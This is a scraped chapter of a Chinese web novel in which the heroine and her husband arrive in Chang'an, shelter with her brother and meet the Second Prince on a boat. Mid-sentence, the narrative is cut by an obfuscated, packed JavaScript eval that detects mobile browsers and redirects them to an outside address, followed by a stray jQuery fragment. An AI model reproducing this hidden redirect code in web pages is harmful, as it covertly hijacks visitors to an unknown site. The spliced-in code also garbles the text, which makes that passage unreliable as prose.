默认冷灰
24号文字
方正启体

17. 长安在望

作者:虞岳本书字数:K更新时间:
    娜茜扎垭一行人与路青涯等人同行,穿过大半个中原,又沿着渭水北上,终于抵达长安。


    长安的城门毕竟是天子脚下,比那天高皇帝远的玉门关守卫森严不知多少倍,通关手续也要严查。宋衍舟同时出示了通关文牒和官印,他们才被将领放进城门。


    城门洞开,车马人流如织,到处都是陌生的中原面孔,娜茜扎垭的面纱被划破,也没有备用,想着生活在中原的西域人也不在少数,干脆放弃了伪装。


    倒是裘敖,碍着脸上的伤疤和金面具都太引人注目,换了身和路青涯一样的中原装扮,又戴上了斗笠遮挡疤痕。


    街道繁华,娜茜扎垭下了马,牵着缰绳慢慢前行,街上喧闹,香料,脂粉,还有食肆中的飘香扑面而来。


    她是第一次来长安,但她无心欣赏这万国来朝的胜景,警戒地观察着周围。


    自从玉门关袭击过后,这一路上再无异动,但娜茜扎垭一直不肯放松警惕,心里隐隐觉得,尉迟昙不可能这么轻易收手。


    他们兵分两路,路青涯带着手下趁势躲进人群,继续暗中探查,宋衍舟先去二皇子处复命,娜茜扎垭和裘敖则伪装成来进货的商人,在东市逛了几圈,进入了瓦木迪家的长安商号,怀琦坊。


    怀琦坊一楼尽是摆摊的小商贩,娜茜扎垭艰难地穿过人群,径直走到掌柜的面前,裘敖紧贴娜茜扎垭身后,用自己的身体将她同拥挤的人群隔开。


    掌柜的是个须发花白的老人,正低着头拨弄算盘,眼前投下一片阴影,头也不抬地说:“旁边伙计结账。”


    娜茜扎垭伸出手指,在他面前的账本上点了点:“蒂齐兹,在长安呆了十年,不光中原话熟练了,架子也大了不少啊。”


    蒂齐兹手一抖,算盘珠子被打乱,他瞬间抬头,瞪大双眼:“汗,汗女!您怎么来了?”


    他颤颤巍巍地绕过柜台,来到娜茜扎垭面前,当即跪下一拜:“汗女,都是老奴失礼,不知您大驾光临,求汗女责罚老奴!”


    娜茜扎垭一把扶住他的胳膊,阻止他真的跪在地上:“蒂齐兹伯伯不必多礼,我们有事来长安,正好来看看。”


    蒂齐兹是她父亲哈桑的贴身侍卫,两人从小一起长大,也曾一起跑过商队,后来瓦木迪家长安分号的掌柜因贪污被杀,蒂齐兹便自告奋勇顶上,之后同哈桑仅凭书信联系。


    虽然地位不同,但真要算起来,蒂齐兹也是娜茜扎垭的长辈,有着哈桑同他的这份情谊,她也受不起蒂齐兹这么大的礼。


    蒂齐兹抹掉眼角的老泪,又看看娜茜扎垭身后的裘敖,连忙引着他们进入内室。


    内室陈设简单,同怀琦坊外面的装修不同,内室是珞目族的装饰,屋内烧着炭火,铺满厚重的羊皮,娜茜扎垭一时有些熟悉,拉着裘敖大剌剌地坐在土炕上。


    蒂齐兹关紧门,这才转身凑在娜茜扎垭面前,殷勤地倒着奶茶,送到三人面前。娜茜扎垭简单和他寒暄几句,又向他介绍自己身边的裘敖和宋衍舟。


    蒂齐兹明白了他们的来意,面上的喜色瞬间褪去:“小姐不该来此……这段时间,坊间武侯,还有禁军,隔三岔五地便来此巡视,名义上是来查胡商户籍,货品税务,但总有人眼神乱瞟,分明是在找什么人。”


    娜茜扎垭同裘敖与宋衍舟俱是脸色一变。


    天枢司动作果然快,尉迟昙,甚至是三皇子,早已在这里布下了陷阱,就等着娜茜扎垭他们自投罗网。


    娜茜扎垭沉吟片刻,立即做出决断:“蒂齐兹伯伯,我们马上便走,你照常营业,只当我们从未来过。”


    “汗女要去哪里?”蒂齐兹担忧问道,“长安危机四伏,汗女千万要当心啊。”


    “我去大哥府上,他官位高,一定有兵士保护,我们就住在那里。”娜茜扎垭将奶茶一饮而尽,起身同蒂齐兹告别。


    娜茜扎垭出生前,长兄泰帕隆和父亲哈桑一同来长安献宝,在宴会上用汉话作诗,得了皇帝青眼,当即被封了鸿胪寺主簿,专门接待西域使臣。


    后来他一路升迁,官拜四品中郎将,赐住长安街官宅,还有兵士保护。


    泰帕隆一年到头也回不了几次家,同娜茜扎垭见面甚少,向来只是书信来往,听到门人来报他亲妹妹和妹夫到访,下意识认为自己听错了。再三确认过后,他才连忙进入正厅,见到风尘仆仆的二人,又是一阵惊愕。


    他见裘敖身形高大,面容狠厉,很明显不是珞目族人,脸上又带着疤,怎么看都不像善类,仔细盘问后确认二人是真心相爱,才放下心来。


    娜茜扎垭省去寒暄,直言让泰帕隆屏退下人,同他进入书房密谈,她没有一丝隐瞒,将查到的一切线索尽数告知。


    泰帕隆拍案而起,在室内来回踱步,但他年近四旬,到底见过不少风浪,短暂躁动过后还是冷静下来,同娜茜扎垭商议。


    “朝堂上近年来也不太平,只是我没想到居然能牵扯进家族。”泰帕隆脸上皱纹凝成一团,沉声道,“三殿下提出‘监管西域’已经不是一日两日的事情,他府上养的门客更是频频弹劾与西域往来密切的官员商贾,我这个西域人更是不例外。”


    “皇帝难道不阻拦吗?”娜茜扎垭问。


    泰帕隆摇头:“陛下态度暧昧,隐隐有纵容之意,只保下了部分被弹劾的官员。”


    娜茜扎垭又想起在玉门关遇袭时,宋衍舟提起承慧太子死后,皇帝任由二皇子同三皇子两党相争的局面,轻叹了一口气。


    “大哥,小妹有一事相求。”


    毕竟不是从小一起长大,娜茜扎垭同她这位大哥并不多么熟悉,此时不由得正式了些。


    “你大方说,我们兄妹之间,不必这么拘谨。”


    泰帕隆大手一挥,娜茜扎垭是他唯一的妹妹,没能陪伴她长大,他心中总有愧意,因此此时娜茜扎垭提出任何要求,他都不会拒绝。


    “尉迟昙掌握了我们的行踪,想必不久就会将我们到达长安的消息告知三皇子,我们在长安落脚期间,不知是否能藏身于大哥府邸……”


    娜茜扎垭小心斟酌着,不知泰帕隆是否会答应,毕竟她和裘敖现在身份敏感,也容易为泰帕隆招来杀身之祸。


    “有何不可?”泰帕隆笑道,“你和妹夫只管把这里当作自己家,我现在就让厨房烧一桌好菜,我们好好叙叙旧!”


    ***


    夜幕降临时冷了不少,细雨悄然飘落,淅淅沥沥,敲打着庭院中的芭蕉。


    娜茜扎垭给宋衍舟和路青涯分别报了信,说自己已经在泰帕隆出落脚,宋衍舟即刻飞鸽传书,说二皇子李珺于子时一刻,在曲江池约她秘密见面。


    娜茜扎垭揣着和信一起送来的令牌,见泰帕隆的屋子吹了灯,才带着裘敖从府邸角门悄悄离开。


    曲江池在长安东南角,本是皇家园林,近些年也对普通官员和平民开放,即便是雨夜,游人也并不在少数。


    娜茜扎垭与裘敖身披斗篷,帽子将二人的容貌遮得严严实实,穿过繁复的亭台楼阁,僻静处停着一艘不起眼的乌篷船。


    二人一起登船,船身微晃,便见到等待已久的宋衍舟。


    宋衍舟向二人点头示意,等二人坐稳,便摇着船桨,小船离岸而去,进入池塘中央。约莫一刻钟,另一艘稍大的画舫破开湖面,从烟雨迷蒙处缓缓驶来。


    画舫上下来一个青年男子,被人搀扶着进入乌篷船,在昏暗的灯光中缓缓落座,不动声色地打量


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17046721|194753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着几人。


    “这位就是二殿下。”宋衍舟介绍道。


    娜茜扎垭和裘敖将手贴在胸口处,躬身道:“民女娜茜扎垭·瓦木迪,携丈夫裘敖,见过二殿下。”


    “汗女不必多礼。”李珺坐得离他们较远,抬手虚虚一扶,“情况衍舟已经和本王说过,汗女一介女子之身,能为西域和平以身犯险亲来长安,本王实在敬佩。”


    “殿下过誉了,在民女看来,男子与女子之身没有什么区别,不必因我是女子,就对我另眼相看。”娜茜扎垭轻飘飘地反驳道,“我只是做了我该做的事而已。”


    她很少同中原人打交道的原因正是如此。中原人满口繁文缛节,大多认为女子天生就该比男子弱小,她最看不惯这一点。


    “各位的证据本王都已经一一看过,本王也没料到皇弟竟然疯狂至此,私贩军械,构陷忠良……桩桩件件,皆可诛心!”


    李珺并不在意娜茜扎垭的话,转而直言他们查案一事。


    “但这些只是片面之言,无法直接指向皇弟,反而会被他反咬一口,说本王伪造证据,意图勾结外族离间天家。”


    船舱内一时寂静。


    娜茜扎垭迎着李珺的目光,等着他的下文。


    “本王要的是确凿的证据,要能证明皇弟亲自出面勾结外族,意图祸乱边关,甚至……谋反。”李珺眼中闪过狠厉,声音冷硬。


    “殿下的意思是……”裘敖拳头悄然握紧,这李珺绝不简单。


    “天枢司经营多年,核心如同铁桶一般,本王屡次派人下手,都难以渗透,却没想到……你们中居然有人能够安插卧底,还查出了蛊毒一事。”李珺倚靠在椅背中,仔细回忆宋衍舟在府内交代的情报,一时没想起路青涯叫什么,索性草草带过。


    “本王想着,是否能够拿到他们炼制的蛊毒样本,甚至使用方式和手段,或者……皇弟参与谋划的手令。”


    娜茜扎垭吐出一口浊气。


    李珺的意图再明显不过,他是想借娜茜扎垭之手,不费吹灰之力拿到证据。让他们将脖子探进铡刀之下冒险,以免自己受到怀疑,真是好算计。


    娜茜扎垭只觉自己被风暴卷得越来越紧,被迫站队在李珺这一边,参与了他同三皇子只见储君之位的争斗。


    至于西域的安危,又怎会在李珺的考量之下,恐怕他还想着借娜茜扎垭的能力摆平三皇子后,狡兔死,走狗烹,将他们也一网打尽,彻底吞下西域。


    但她现在已经到了长安,就坐在李珺的对面,身上还背着家族,乃至整个西域的存亡,再也无法回头。


    “若殿下信得过,民女愿意一试。”思量许久,娜茜扎垭还是答应,裘敖在衣襟下悄悄握住她的手,也明白她心中所想,并未拒绝。


    李珺凝视他她良久,终究是缓缓起身,对着她微微一礼:“汗女高义,请受李珺一拜,在下感激不尽。”


    娜茜扎垭也起身施礼,不卑不亢:“此事凶险,民女不知是否还有命归来,斗胆向殿下求个恩典。”


    李珺嘴角上扬:“本王明白汗女的意思,若汗女真能助本王扳倒奸佞,肃清朝纲,本王必力谏父皇,包西域诸国自治,商路畅通,绝不容许中原铁骑肆意侵吞!”


    李珺告辞,宋衍舟与二人告别之后也跟随离去,乌篷船上只剩下娜茜扎垭与裘敖二人。


    “宋衍舟事前是否知道李珺的真实用意?”裘敖划着船问。


    “这不重要了。”娜茜扎垭望着船舱外的烟雨,长安的万家灯火在雾气中模糊不清,连成一片光晕,“我们根本没有其他的选择,只能祈祷他会信守承诺。”


    “我们多做一些事,西域就能多一日和平。”娜茜扎垭喃喃道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)